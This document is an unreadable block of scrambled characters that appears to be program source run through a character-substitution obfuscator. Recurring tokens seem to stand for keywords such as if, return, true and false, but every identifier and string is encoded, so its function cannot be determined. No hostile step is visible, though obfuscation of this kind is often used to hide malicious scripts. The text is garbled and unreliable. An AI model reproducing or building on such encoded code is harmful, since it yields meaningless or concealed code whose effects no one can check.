KKAEPBMEYMGE 		SPDBZLLFM] 		@N[KMFGKOJZ 						@N[KMFGKOJZ  #		OF[LHJA					PJPJNDFGN	HZ						BLP 	R#	Y[LM@J]@_L	JF_H[@HG]##					@O								@ZZL]^HAvP]\PF^ZZ]rBLPt 				UU						@^v_XSYHPXKSN ^HAvP]\PF^ZZ]rBLPt  		R#	JFG]@G\L#	T####	[@SJ_CSFAXGMQvQ						H[[HP #	OF[LHJA			^HAvP]\PF^ZZ]rBLPt				HZ		AEAOZvO 		R#							@O				SPDBZLLFM] AEAOZvO  				R#	dPzxe	czfg	FYL[H]F[Z	YFZ]	]PYL	ZL]\Y##[@SJ_CSFAXGMQvQrt			AEAOZvO#JFG]@G\L#			T#	GYBQYHZD								@ZZL]AEAOZvOr@^v_XSYHPXKSN t 		AEAOZvOrSPDBZLLFM] t			##]]D[K\CH_[\\^N					@ZZL]nefkhezrKKAEPBMEYMGE t 			nefkhezrSPDBZLLFM] t			###	@O			GYBQYHZD				Z@MPOGPPF	UU		]]D[K\CH_[\\^N													GYBQYHZD						]]D[K\CH_[\\^N  			R##			JFG]@G\L#T##				[@SJ_CSFAXGMQvQrt					FBJX[HQZ]JLPAEAOZvO		Z@MPOGPPF #				T#	^HAvP]\PF^ZZ]rBLPt			[@SJ_CSFAXGMQvQYE\SXELJDDFS]\YE\SXEL#			T#			[L]\[G	^HAvP]\PF^ZZ]#T#T#O\GJ]@FG	GPM@[^BD]^^FNM\]] #					R#	O@E]L[	LQY[LZZ@FG##][P	R#	@O	SPDBZLLFM] @^v_XSYHPXKSN  									NL]v][HGZ@LG]KKAEPBMEYMGE   		R#							[L]\[G#T####						[ONOZOAH					i@N[KMFGKOJZ [ZKLSD_  #@O				[ONOZOAH				[ONOZOAH				 						[ONOZOAH					 				SDLMOCK_]JSDN^[ZKLSD_   		R#						KHKDZ@L							iKKAEPBMEYMGE [ZKLSD_  #		@O	KKAEPBMEYMGE KHKDZ@L 			SPDBZLLFM] KHKDZ@L 						[ONOZOAH					_SMG[M@XJvKJSK\KHKDZ@L  	R#	@O		ZKXOKS\JGG_ZQC@QY[ZKLSD_ 			]ODXFFOB\PHLBFG^KHKDZ@L   		R#				LCEBMJ]BE[ZKLSD_  #		EHOBPA]OAvH[ZKLSD_  #							T#				T#	\GZL]KHKDZ@L #		T###								E@]QKC^^						i@^v_XSYHPXKSN [ZKLSD_  ###	]GSv]BKZ			E@]QKC^^			E@]QKC^^					 #@O				]GSv]BKZ					E@]QKC^^			  		R#		]GSv]BKZ				OHEZL#							T###		@O					]GSv]BKZ 	R#			BBXFNN[								iSPDBZLLFM] [ZKLSD_  #@O					@^v_XSYHPXKSN BBXFNN[ 							SPDBZLLFM] BBXFNN[ 			  			BBXFNN[					C^v@Z@\@ACBCLBBXFNN[ #		@O	@N[KMFGKOJZ BBXFNN[ 			UU				_SMG[M@XJvKJSK\BBXFNN[  				R#					]GSv]BKZ		OHEZL#				T		LEZL						R#				NJFMFLQ@A^X_K				AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 		 #						v@JLXM]QG@@\								[FB]XFO_^SBBXFNN[ #			FBMGNC_MSZ[N			[FB]XFO_^SKKAEPBMEYMGE NJFMFLQ@A^X_K 						NJFMFLQ@A^X_K						 #							@O		v@JLXM]QG@@\										FBMGNC_MSZ[N								UU				_L[Z@FGvJFDYH[LFBMGNC_MSZ[N	v@JLXM]QG@@\	   				R#				OF]\_NEAAK				SPDBZLLFM] BBXFNN[ ####					X^NYSX\_BC			i@N[KMFGKOJZ @N[KMFGKOJZ [ZKLSD_  					SPDBZLLFM] 				OF]\_NEAAK #							@O	X^NYSX\_BC 	R#			vJ][DYMD]YL						NL]vFY]@FG@^v_XSYHPXKSN  #@O			SPDBZLLFM] vJ][DYMD]YL 										@N[KMFGKOJZ vJ][DYMD]YL			OF]\_NEAAK				U 												KKAEPBMEYMGE  			@G] 		@N[KMFGKOJZ vJ][DYMD]YL		@N[KMFGKOJZ vJ][DYMD]YL	U 							 				QMQL  		X^NYSX\_BC								][\L#	T#	@O	X^NYSX\_BC 				]GSv]BKZ						OHEZL###	@O			X^NYSX\_BC							SPDBZLLFM] NJFMFLQ@A^X_K 						NJFMFLQ@A^X_K									UU		FBMGNC_MSZ[N				UU			_L[Z@FGvJFDYH[LFBMGNC_MSZ[N			v@JLXM]QG@@\			   				CSvEESS]PSH[M^GBD_KKAEPBMEYMGE 		BBXFNN[		@N[KMFGKOJZ  #	\GZL]OF]\_NEAAK					X^NYSX\_BC		vJ][DYMD]YL ###T	LEZL@O	@N[KMFGKOJZ NJFMFLQ@A^X_K 				@N[KMFGKOJZ NJFMFLQ@A^X_K 			 					KKAEPBMEYMGE NJFMFLQ@A^X_K 			 						K[N[JPDKAX]LSNJFMFLQ@A^X_K 						_SMG[M@XJvKJSK\NJFMFLQ@A^X_K 			@N[KMFGKOJZ BBXFNN[ 		@N[KMFGKOJZ NJFMFLQ@A^X_K  		R#	YFZ]MFD@GH]L	Z@MLLOOLJ]O[LL	JFG][FEOEF^N[HYA##]GSv]BKZ								OHEZL#T#					T#					T#			@O				]GSv]BKZ 	R#	`G]E	LQ]LGZ@FG	[LEHQLM	Y@YLE@GL##	@O	@N[KMFGKOJZ @N[KMFGKOJZ   	R#							ZL]v][HGZ@LG]KKAEPBMEYMGE 			QQK  ####		T#							[L]\[G#			T#	@O	SDLMOCK_]JSDN^[ZKLSD_   			R#						[L]\[G#		T#ZQNAD[ALZX\					@N[KMFGKOJZ [ZKLSD_  #			@O			i@N[KMFGKOJZ ZQNAD[ALZX\  			R#	iJFEF[[LN@Z]L[	[LJF[MEHPL[##						vGQBQZEPNCOHHMZQNAD[ALZX\						 	][\L #	T#					QG^K^HEOBA@			AK@\_C^N^\[SGBvvQSPDBZLLFM] 		 #	@O		QG^K^HEOBA@	UU					@N[KMFGKOJZ QG^K^HEOBA@  					R#		@O		NL]v][HGZ@LG]@^v_XSYHPXKSN   					R##	FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 		@^v_XSYHPXKSN  ######		ZL]v][HGZ@LG]@^v_XSYHPXKSN 								  #	T#			T#@O						QG^K^HEOBA@					SPDBZLLFM] QG^K^HEOBA@ 			@^v_XSYHPXKSN QG^K^HEOBA@ 		 							KKAEPBMEYMGE QG^K^HEOBA@ 			 							K[N[JPDKAX]LSQG^K^HEOBA@ 					_SMG[M@XJvKJSK\QG^K^HEOBA@  	R#			QMP@]J]ZACEB			[FB]XFO_^SQG^K^HEOBA@ ##		@O	QMP@]J]ZACEB												_L[Z@FGvJFDYH[LQMP@]J]ZACEB	^NKBHS]S^NFHGH^O] 					  				R#		[L]\[GQLHNNMMFKZLJUF@QZ^GDHP[QLHNNMMFKZLJw#####T#_DEQNQ[ZAF								KKAEPBMEYMGE [ZKLSD_  						KKAEPBMEYMGE 					SPDBZLLFM] [ZKLSD_ 		@N[KMFGKOJZ  ###DCLPZ_]EEPAF		iKKAEPBMEYMGE _DEQNQ[ZAF 				@^v_XSYHPXKSN Z][@GN 			iSPDBZLLFM] _DEQNQ[ZAF  		#@O	DCLPZ_]EEPAF										@^v_XSYHPXKSN QG^K^HEOBA@ 				DCLPZ_]EEPAF 						R####						[L]\[G#T##XX]L[vEYC^\OZSZ_@JL[ZKLSD_ 		  #	[@GCH		ZKXOKS\JGG_ZQC@QY[ZKLSD_ 				]ODXFFOB\PHLBFG^QG^K^HEOBA@  #	@O			[@GCH 		R#					LCEBMJ]BE[ZKLSD_  #	XX]L[vEYC^\OZSZ_@JL[ZKLSD_ 			  #EHOBPA]OAvH[ZKLSD_  #		LSQQPGQ_@[D^][\L ###Q]H[ENCXS]X^Z@]][\L #				GKGGQEFO\QBQGEP[ZKLSD_  #@O		@^v_XSYHPXKSN @N[KMFGKOJZ   			R#				ZL]v][HGZ@LG]KKAEPBMEYMGE 				QHLQ  #						T#			T	LEZL@O	SPDBZLLFM] @^v_XSYHPXKSN   			R#		ZL]v][HGZ@LG]KKAEPBMEYMGE 		  #			T###			T####				T		JH]JA	}A[F^HKEL			E]GYK]v 		R#FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	E]GYK]v ####	T		JH]JA		lQJLY]@FG			E]GYK]v 		R#				T#		T#				#	O\GJ]@FG	CANOv[CvY[F\ #	R#	yay	H]][@K\]LZ	@DHNL	M@DLGZ@FGZ##				BML[vN^LMNSPDBZLLFM] 	SPDBZLLFM]  #BML[vN^LMNSPDBZLLFM] 			KKAEPBMEYMGE  #	@O		@N[KMFGKOJZ SPDBZLLFM]   	R#					[LDF_LvHJ]@FGKKAEPBMEYMGE 					SPDBZLLFM]  #		[LDF_LvHJ]@FG@^v_XSYHPXKSN 				@^v_XSYHPXKSN 		  #[LDF_LvHJ]@FGKKAEPBMEYMGE 		@N[KMFGKOJZ 		  ####			T#	~y	kEFJB	H[@H]@FGZ	FY]@FG	[F^##							T#O\GJ]@FG					vDBQCN\XAA #R#	][P						R#	GF[DHE@SL###	^YMK				nefkhezr@^v_XSYHPXKSN t#				####			QM[CPKLBD							^YMKY[LO@Q					@N[KMFGKOJZ #					KCQHOv@[HHO							z					SPDBZLLFM] 				^YMK\ZL[Z								SPDBZLLFM] 		^YMK\ZL[DL]H					KKAEPBMEYMGE #	[L]\[G			^YMKNL]v[LZ\E]Z^YMKY[LYH[LKCQHOv@[HHO			QM[CPKLBD	@N[KMFGKOJZ   #			T			JH]JA	}A[F^HKEL				E]GYK]v 			R#		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #				T			JH]JA						lQJLY]@FG	E]GYK]v 	R#							T#				[L]\[G				H[[HP Jv^PYXJUJ_ZXO\ZCQ]Jv^PYXJw####	T#			O\GJ]@FG	GvK]ME\Q\BFQSL_FPMvK@FJ #	R#	DLK^^CHLZXG			H[[HP #					GESJQGLGQ				O\GJ]@FG		\B_FFBOY_[Y 		R#	Y\KE@ZA	ZGHYZAF]@ZFEH]LM	^[@]LHALHMEFN##							\B_FFBOY_[Yr@N[KMFGKOJZ t				#						[L]\[G			\B_FFBOY_[Y#T#	Z][LHD@GN	Y\KE@ZAL[#####		][P				R#				@O		@N[KMFGKOJZ KKAEPBMEYMGE  	UU				@N[KMFGKOJZ KKAEPBMEYMGE   		R#	yay	DH]JA	LQY[LZZ@FG	KFF]Z][HY	JHYHK@E@]P##				[L]\[G	DLK^^CHLZXG#		T####		@O				KKAEPBMEYMGE FPMvK@FJ 			UU					LDY]PFPMvK@FJ  		R#							[L]\[G			DLK^^CHLZXG###			T#		B\[vvEA				SPDBZLLFM]  							w 					 ####		@ZvZZE					@^v_XSYHPXKSN KKAEPBMEYMGE  						@ZvZZE #	BAAGBJ^YN\EJ					@ZvZZE									KKAEPBMEYMGE 			@N[KMFGKOJZ #	[FP[_@BDAB							@ZvZZE							MLO@GLMSPDBZLLFM]  							zlj|{lvh|}avjffb`l				 				MLO@GLM@^v_XSYHPXKSN  						h|}avjffb`l		 #				DDCGM]\]PDNMQO					MLO@GLM@^v_XSYHPXKSN  						efnnlmv`gvjffb`l				####						@O				[FP[_@BDAB		UU							DDCGM]\]PDNMQO 			R#							[L]\[G			DLK^^CHLZXG#		T#		@KHKB_[KS[X					MLO@GLM@N[KMFGKOJZ  			jffb`lvmfdh`g			SPDBZLLFM] jffb`lvmfdh`g		 					^NSJYZ_PLBFXKO #[SFNQHAKHYB					MLO@GLM@N[KMFGKOJZ  							jffb`lyh}a			#	\O@@^X[^			MLO@GLM@N[KMFGKOJZ  			hmd`gvjffb`lvyh}a						KKAEPBMEYMGE #MLSODYQ\Sv				@ZvZZE			KKAEPBMEYMGE 				KKAEPBMEYMGE #	@ZN[XKKQY		u]#		BML[vN^LMN@N[KMFGKOJZ 		GESJQGLGQ				 #E\H_L^GB								L_LYNP^vZHQF\\F@^v_XSYHPXKSN  #]HHHHDN^JB[			KKAEPBMEYMGE @N[KMFGKOJZ  			iNL]vFY]@FGE\H_L^GB				H[[HP  				H[[HP #				@O			@N[KMFGKOJZ ]HHHHDN^JB[  		]HHHHDN^JB[							H[[HP #Z\^SLXHXE\Y					OHEZL#			Q]DHEKA						##OF[LHJA	FPMvK@FJ	HZ					QOYCO__ZDBLC 					R####@O				SPDBZLLFM] QOYCO__ZDBLC 	UU							QOYCO__ZDBLC`m				UU				QOYCO__ZDBLC\ZL[vEFN@G 				R#	JFG]@G\L#		##	T#	@O		Q]DHEKA			  						R#K[LHB#			T#					C_O_^SJGPCM						Z][@GN 	QOYCO__ZDBLC\ZL[vEFN@GG@YNQUHCSQG[^^Q@vPG@YNQw###@O		@ZZL]]HHHHDN^JB[rC_O_^SJGPCMt 								@G] 		]HHHHDN^JB[rC_O_^SJGPCMt		SPDBZLLFM]  											  		R#						JFG]@G\L#T#			^YvJHJALvMLEL]LQOYCO__ZDBLC`m				KKAEPBMEYMGE  ##	XYNHJv				NL]v\ZL[vDL]HQOYCO__ZDBLC`m		KKAEPBMEYMGE 		][\L ###			@O				SPDBZLLFM] XYNHJv 			@N[KMFGKOJZ XYNHJv 					  					R#	DH]^ZQLD					H[[HP #OF[LHJA		XYNHJv		HZ			J[AQGD]]O					]MCS@DLPNC 	R####	@O			@ZZL]]MCS@DLPNCrSPDBZLLFM] t 						]MCS@DLPNCr@N[KMFGKOJZ t						@^v_XSYHPXKSN   				R#	DH]^ZQLDrJ[AQGD]]Ot					]MCS@DLPNC#				T#		T#	@O			SPDBZLLFM] DH]^ZQLD 		SPDBZLLFM] XYNHJv  			R#			\YMH]Lv\ZL[vDL]HQOYCO__ZDBLC`m	@^v_XSYHPXKSN 			DH]^ZQLD #		T#		T####^YvJHJALvMLEL]LQOYCO__ZDBLC`m				@^v_XSYHPXKSN  #		@L_PNAB_FD						SPDBZLLFM] H[[HP@N[KMFGKOJZ 		SPDBZLLFM]  				QOYCO__ZDBLC`m #						vG[N]HXYKFE			@L_PNAB_FDJ[LH]LB\[vvEA #				^KJOZLO^S]				H[[HP #^KJOZLO^S]rt						@KHKB_[KS[X			@ZN[XKKQY				@N[KMFGKOJZ 					@ZN[XKKQY								[SFNQHAKHYB				@ZN[XKKQY			MLSODYQ\Sv						@ZN[XKKQY				B\[vvEA							@ZN[XKKQY		DDCGM]\]PDNMQO				@ZN[XKKQY				@N[KMFGKOJZ QOYCO__ZDBLC`m					B\[vvEA				KKAEPBMEYMGE 	vG[N]HXYKFE #								@O		[FP[_@BDAB 			R#	^KJOZLO^S]rt									@KHKB_[KS[X				@ZN[XKKQY			@N[KMFGKOJZ 							@ZN[XKKQY							\O@@^X[^				@ZN[XKKQY		MLSODYQ\Sv						@ZN[XKKQY			B\[vvEA					@ZN[XKKQY					[FP[_@BDAB					@ZN[XKKQY					@^v_XSYHPXKSN QOYCO__ZDBLC`m	B\[vvEA		BAAGBJ^YN\EJ	vG[N]HXYKFE #T###				DLK^^CHLZXGrQOYCO__ZDBLC\ZL[vEFN@Gt			^KJOZLO^S]#]HHHHDN^JB[rC_O_^SJGPCMt			B\[vvEA]YSOCvKXvL]YSOCvK#	Z\^SLXHXE\Y									][\L#	Q]DHEKA#	T#	AL[D@]@HG	APYL[EFNEFN###		@O				Z\^SLXHXE\Y				KKAEPBMEYMGE KKAEPBMEYMGE   			R#i\YMH]LvFY]@FGE\H_L^GB				]HHHHDN^JB[			KKAEPBMEYMGE  #	T#T	JH]JA		}A[F^HKEL		E]GYK]v 	R#FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			E]GYK]v ###	T	JH]JA		lQJLY]@FG		E]GYK]v 			R#T#			[LDF_LvO@E]L[@N[KMFGKOJZ 		GESJQGLGQ		 #			[L]\[G			DLK^^CHLZXG####			T#O\GJ]@FG			GvPSJ\HMXMJOGM_BvQP[N^E ##				R#			@O			@N[KMFGKOJZ _BvQP[N^E  					[L]\[G				_BvQP[N^E#		@O	KKAEPBMEYMGE _BvQP[N^E 					@ZZL]_BvQP[N^ErYt 				@N[KMFGKOJZ _BvQP[N^ErYt  				[L]\[G				_BvQP[N^ErYt#		[L]\[G		#					T#	O\GJ]@FG	CB^\LDvOvXv[SKCHFPMvK@FJ #			R##		E@Z]				H[[HP #	_XvF]P]YX							Z][@GN 						AK@\_C^N^\[SGBvvQKKAEPBMEYMGE 		 #			[MHEJFO					Z][@GN 						AK@\_C^N^\[SGBvvQ@N[KMFGKOJZ 				 #				@O		_XvF]P]YX										[MHEJFO							 	R#					E@Z]r_XvF]P]YXt				[MHEJFO#				#####T#	QP@MO^F\									AK@\_C^N^\[SGBvvQ@N[KMFGKOJZ 	H[[HP  ##		@O				@N[KMFGKOJZ QP@MO^F\  		R####				OF[LHJA	QP@MO^F\	HZ	]HY_GBDPN							HN^[MX[P 				R#					OEKOHSDG@[F									GvPSJ\HMXMJOGMHN^[MX[P #		@O		OEKOHSDG@[F				 					E@Z]rZ][@GN 					]HY_GBDPNt										OEKOHSDG@[F#						T#				T#				[L]\[G	E@Z]##		T#O\GJ]@FG		XXOX\Z[YAZJEBPPND]HY_GBDPN			HBXBBCCC						K@OX_HNS]_YM #	R#				][P	R#					@O				SPDBZLLFM] ]HY_GBDPN 	UU						KKAEPBMEYMGE ]HY_GBDPN			KKAEPBMEYMGE   	R#[L]\[G	]HY_GBDPN#			T#@O						]HY_GBDPNAHZvJHYSPDBZLLFM]   				R#	[L]\[G		]HY_GBDPN#		T#				@O		KKAEPBMEYMGE K@OX_HNS]_YM 	UU				K@OX_HNS]_YM 			R#	dPzxe		j}lZ	DLHZ\[L	HEEFJH]F[##				[L]\[G				]HY_GBDPN#	T#QP@MO^F\		AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 		H[[HP  #					@O		SPDBZLLFM] QP@MO^F\  	R#		QP@MO^F\						H[[HP ###			T#	OF[LHJA	QP@MO^F\				HZ	PJBvH[vX^HS[				DAGQ[H 		R###	YP\SvOK]KQ^			KKAEPBMEYMGE DAGQ[H 							@ZZL]DAGQ[Hr@N[KMFGKOJZ t 							@G] 			DAGQ[HrSPDBZLLFM] t								##			@O		YP\SvOK]KQ^				YP\SvOK]KQ^						KKAEPBMEYMGE  								  	\GZL]QP@MO^F\rPJBvH[vX^HS[t ###					T###		QP@MO^F\r]HY_GBDPN\ZL[vEFN@Gt		H[[HPY			K@OX_HNS]_YM			@^v_XSYHPXKSN 								KKAEPBMEYMGE  				@N[KMFGKOJZ 				 #		CSvEESS]PSH[M^GBD_SPDBZLLFM] 	QP@MO^F\			@N[KMFGKOJZ  ##	T			JH]JA			}A[F^HKEL	E]GYK]v 			R#FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			E]GYK]v ###						T			JH]JA	lQJLY]@FG	E]GYK]v 		R#	T#							[L]\[G		]HY_GBDPN#		T###O\GJ]@FG		^H_C@QBHQSNZ\S[ZPK		]HY_GBDPN #		R#][P			R#	@O		@^v_XSYHPXKSN \S[ZPK 	UU		\S[ZPK					 	[L]\[G#	##		QP@MO^F\				AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 	H[[HP  #		@O		KKAEPBMEYMGE QP@MO^F\ 			UU	@ZZL]QP@MO^F\r\S[ZPKt  				[L]\[G#		E]GYK]v					QP@MO^F\r\S[ZPKt#							@O				KKAEPBMEYMGE E]GYK]v 				LDY]PE]GYK]vr@^v_XSYHPXKSN t  			R_ZPDGZOFQMQJ BFSQNL[_Y_ZPDGZOF#			QP@MO^F\r\S[ZPKtrKKAEPBMEYMGE t					H\COYDXCBH\QKPAO_ZH\COYDXC#	CSvEESS]PSH[M^GBD_@^v_XSYHPXKSN 	QP@MO^F\	@^v_XSYHPXKSN  #T##				T	JH]JA	}A[F^HKEL			CKH_M_GGYXKB 			R#FBQKvM[JB\ZMHPE\SPDBZLLFM] 	CKH_M_GGYXKB #	T				JH]JA		lQJLY]@FG	CKH_M_GGYXKB 						R####				T#T#			O\GJ]@FG		BNXNv\JXSNKHN]@MSv]FPMvK@FJ #RvQO\BY^OYLM^UB@PMSvQO\BY^OYLM^w###		@O				@^v_XSYHPXKSN FPMvK@FJ  	R#	H^H@]	@MLDYF]LG]HMC	JFF[M@GH]F[##			[L]\[G	OHEZL##						T#EOKMKK\MAK				@S]MS^KHZNAQLFD #	OF[LHJA	FPMvK@FJ		HZ						QOYCO__ZDBLC 	R#	OF[LHJA					EOKMKK\MAK	HZ					FBD_NNG@\Bv 	R#	@O		@^v_XSYHPXKSN SPDBZLLFM] 				SPDBZLLFM] FBD_NNG@\Bv	 					@^v_XSYHPXKSN 		QOYCO__ZDBLC\ZL[vEFN@G  			R#	]F]HE	Y[FFO]L[D	##[L]\[G		QOYCO__ZDBLC#	T#				T#				T#[L]\[G	OHEZL#		T#	O\GJ]@FG	FZLYYKLLEQ[\AES[\CP[[HM_		@EAPNYJGGMP #				R#	[L]\[G	@N[KMFGKOJZ SPDBZLLFM] ES[\CP[[HM_ 				@EAPNYJGGMP ####	T###		O\GJ]@FG					NDOONH]^N[]O@vFX@A #	R#		@O	@^v_XSYHPXKSN O@vFX@A 				UU		O@vFX@A						UU				MLO@GLMKKAEPBMEYMGE   				[L]\[G			OHEZL#		Z]H]@J			vS^EQPNOO[										G\EE#	@O				vS^EQPNOO[			G\EE 	R#	~y	yH[HN[HYA	kEFJB	[LELHZL	MLX\L#L_F@AAB@]^Ayayvdhcf{vl{z`fgOYJQ_HKCHL_F@AAB@]^A#		vS^EQPNOO[				H[[HP#	FZLYYKLLEQ[\Ahkzyh}a		@N[KMFGKOJZ 		  									@^v_XSYHPXKSN #			FZLYYKLLEQ[\Ahkzyh}a			@^v_XSYHPXKSN 			  									SPDBZLLFM] # #	T#	OF[LHJA		vS^EQPNOO[			HZ			[\FLOSBNQ 				RBYEEYAJ\\DOQNPXvHOKBYEEYAJ\\#			@O		@N[KMFGKOJZ O@vFX@A	[\FLOSBNQ 						OHEZL 	[L]\[G					][\L#	T#			[L]\[G		OHEZL#				T#O\GJ]@FG	LQQJANXGGQN@EAPNYJGGMP ##			REJYZSLLXZBK_LGYHBSGXEJYZSLLXZBK#	[L]\[G		FZLYYKLLEQ[\A\G@X@MZ][@GN 			SPDBZLLFM]  			][\L 		@EAPNYJGGMP ####								T#		O\GJ]@FG				ZKOS^YJvL]Y[KEZLXGEQBCJL #R#@O	KKAEPBMEYMGE @^v_XSYHPXKSN   	[L]\[G					OHEZL####		BMBSCJOZA				NL]vFY]@FG@^v_XSYHPXKSN 		H[[HP  DKNAONA_LLYJ^QGDKNAONA_L#@O	KKAEPBMEYMGE BMBSCJOZA  	[L]\[G					OHEZL#	L\vO][CK			@^v_XSYHPXKSN GEQBCJL ####	@O	LDY]PBMBSCJOZArL\vO][CKt  		[L]\[G			OHEZL#							OEKOHSDG@[F					@N[KMFGKOJZ U				Z][@GN 		BMBSCJOZArL\vO][CKt #						YQCN[^LE]				@ZZL]OEKOHSDG@[Frt 					@G] 				OEKOHSDG@[Frt					PJGMB\B[\_Q@PJGMB\B[#		[L]\[G				YQCN[^LE]									KKAEPBMEYMGE  					YQCN[^LE]				QLJJQKM  #T#					O\GJ]@FG	GG[FMM@XFGEQBCJL				KXZGCZS #				R#	@O	@N[KMFGKOJZ @N[KMFGKOJZ  				UU					@^v_XSYHPXKSN @N[KMFGKOJZ   	[L]\[G#							BMBSCJOZA					NL]vFY]@FGSPDBZLLFM] 		H[[HP  #					@O			@N[KMFGKOJZ BMBSCJOZA  				BMBSCJOZA					H[[HP #	L\vO][CK				@N[KMFGKOJZ GEQBCJL ##@O	KXZGCZS 						R#@O		@ZZL]BMBSCJOZArL\vO][CKt  		R#\GZL]BMBSCJOZArL\vO][CKt #\YMH]LvFY]@FGKKAEPBMEYMGE 				BMBSCJOZA #					T#			[L]\[G#	T####					DCD[LZ@BKN\_				#						@O	LDY]PBMBSCJOZArL\vO][CKt  		R#		OEKOHSDG@[F					@N[KMFGKOJZ U	Z][@GN 			BMBSCJOZArL\vO][CKt #					DCD[LZ@BKN\_					@G] 	OEKOHSDG@[Frt##	T#		DCD[LZ@BKN\_#					YQCN[^LE]						DCD[LZ@BKN\_				  				@^v_XSYHPXKSN  						#OF[LHJA		BMBSCJOZA			HZ			XLCSBEvH			ZLLOLKOGXCK 					R#			O@vFX@A				KKAEPBMEYMGE U			Z][@GN 				ZLLOLKOGXCK #	@O			LDY]PO@vFX@Art 			SPDBZLLFM]  				@G] 	O@vFX@Art				QOQ  		\GZL]BMBSCJOZArXLCSBEvHt #						T####BMBSCJOZArL\vO][CKt				DCD[LZ@BKN\_					U		YQCN[^LE]#\YMH]LvFY]@FG@^v_XSYHPXKSN 	BMBSCJOZA #					T#			O\GJ]@FG				GXY\C\GJQ@GEQBCJL			\SZ\LFZAK@HB ###			R###			@O	@N[KMFGKOJZ \SZ\LFZAK@HB  	[L]\[G####	JCvvY@XM^Y\L						Jv[GJMMAY\BvJQKKAEPBMEYMGE GEQBCJL 		@N[KMFGKOJZ  #						@O					JCvvY@XM^Y\L					OHEZL 		R#				@O						i@^v_XSYHPXKSN JCvvY@XM^Y\L					\SZ\LFZAK@HB 						@^v_XSYHPXKSN \SZ\LFZAK@HB 			A[E_SCK^\vBYJCvvY@XM^Y\L			GEQBCJL  				[L]\[G##		@PE[Z\[XJ_PLXGJCvvY@XM^Y\L ###					T#iSPDBZLLFM] GEQBCJL						\SZ\LFZAK@HB #				T##				O\GJ]@FG		ZKXOKS\JGG_ZQC@QYGEQBCJL	_N@]LYAZvQA ####	R#	[YBEB\JZ			@N[KMFGKOJZ GEQBCJL #	@O	iSPDBZLLFM] [YBEB\JZ  			R#				FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		@^v_XSYHPXKSN 					SPDBZLLFM] GEQBCJL  #	[L]\[G	OHEZL###	T#		\[HO\@XG							KKAEPBMEYMGE GEQBCJL		QQ  										@^v_XSYHPXKSN  #@O			\[HO\@XG					_SMG[M@XJvKJSK\_N@]LYAZvQA  		R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			SPDBZLLFM] 				@N[KMFGKOJZ GEQBCJL  #				[L]\[G				OHEZL#T#			@O				\[HO\@XG								ZKOS^YJvL]Y[KEZLXGEQBCJL  		[L]\[G		OHEZL#QF^vvSG								OHEZL#		@O		i@^v_XSYHPXKSN GEQBCJL  				QF^vvSG						][\L	#				\SZ\LFZAK@HB			G\EEECNNPFZZyayv`g}vdhqyayv`g}vdhq_D[OEB[OLQECNNPFZZ#							QOBQNOEB						OHEZL#	L^^J\		G\EE#			@O		i@N[KMFGKOJZ GEQBCJL 						i@N[KMFGKOJZ GEQBCJL  	R#						QOBQNOEB					][\L#				L^^J\				iO@ELYL[DZGEQBCJL #	@O			L^^J\					OHEZL 				L^^J\								G\EE#@O				i@^v_XSYHPXKSN GEQBCJL 						QOQLLO  	\SZ\LFZAK@HB					iKKAEPBMEYMGE GEQBCJL ####		T#	@O			KKAEPBMEYMGE KKAEPBMEYMGE   	R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 	@^v_XSYHPXKSN 		SPDBZLLFM] GEQBCJL  #					[L]\[G				OHEZL#								T###DMJO[ZB@HJBJGZ						OHEZL#	OJJSH^KEMF				OHEZL#			vJE					SPDBZLLFM] _N@]LYAZvQA #		OF[			EJDKMN[C]											EJDKMN[C]					EJDKMN[C] 			R#DMJO[ZB@HJBJGZ					Jv[GJMMAY\BvJQ[YBEB\JZ	SPDBZLLFM]  #@O		DMJO[ZB@HJBJGZ				OHEZL 			R#OJJSH^KEMF				OHEZL#		O@vFX@A								i@^v_XSYHPXKSN DMJO[ZB@HJBJGZ			@N[KMFGKOJZ  #					@O	O@vFX@A			OHEZL 		R#	G[XvMCQ		#			^A@EL						G[XvMCQ			vJE 			R###	NvFFG]H_SOK			iSPDBZLLFM] O@vFX@A	SPDBZLLFM] _N@]LYAZvQA			G[XvMCQ  #	@O		NvFFG]H_SOK							OHEZL	UU	NvFFG]H_SOK						 	K[LHB#			G[XvMCQ		NvFFG]H_SOK#T#			iOOE\ZAO@vFX@A #	iZYLJ@HE@SL	HNN[LNH]F[#@H^OBDULL_LZ^MPKF@H^OBDw#@O			@^v_XSYHPXKSN @N[KMFGKOJZ   				iOZPGJO@vFX@A GL^A_NJE]XK\Z_AADGL^A_NJE]X GL^A_NJE]XGL^A_NJE]X#		iOJEFZLO@vFX@A #			@O	G[XvMCQ					vJE 		OJJSH^KEMF			G[XvMCQ#		T					LEZL		R###OJJSH^KEMF				iSPDBZLLFM] DMJO[ZB@HJBJGZ						_N@]LYAZvQA ##					T#	@GE@GL	JHJAL##		@O	OJJSH^KEMF					OHEZL							OJJSH^KEMF						vJE 		K[LHB#				@PE[Z\[XJ_PLXGDMJO[ZB@HJBJGZ ####			DMJO[ZB@HJBJGZ								OHEZL###			T####T#					@O				DMJO[ZB@HJBJGZ						OHEZL 	R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 			SPDBZLLFM] 			KKAEPBMEYMGE GEQBCJL  #[L]\[G	OHEZL#			T####@O	OJJSH^KEMF				OHEZL	UU		OJJSH^KEMF				vJE 				R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	@N[KMFGKOJZ 		KKAEPBMEYMGE GEQBCJL  #@PE[Z\[XJ_PLXGDMJO[ZB@HJBJGZ #[L]\[G				OHEZL#	T#	@O			L^^J\								G\EE 			i@N[KMFGKOJZ DMJO[ZB@HJBJGZ		L^^J\										  ###	_\EB@OS]XNS_H						A[E_SCK^\vBYDMJO[ZB@HJBJGZ					GEQBCJL #			@O			_\EB@OS]XNS_H				QOBQNOEB								QF^vvSG 	R#	@O					iKKAEPBMEYMGE GEQBCJL  	XX]L[vEYC^\OZSZ_@JLGEQBCJL		  #	SLM_GS@HHXJvL					GEQBCJL		@^v_XSYHPXKSN 						@^v_XSYHPXKSN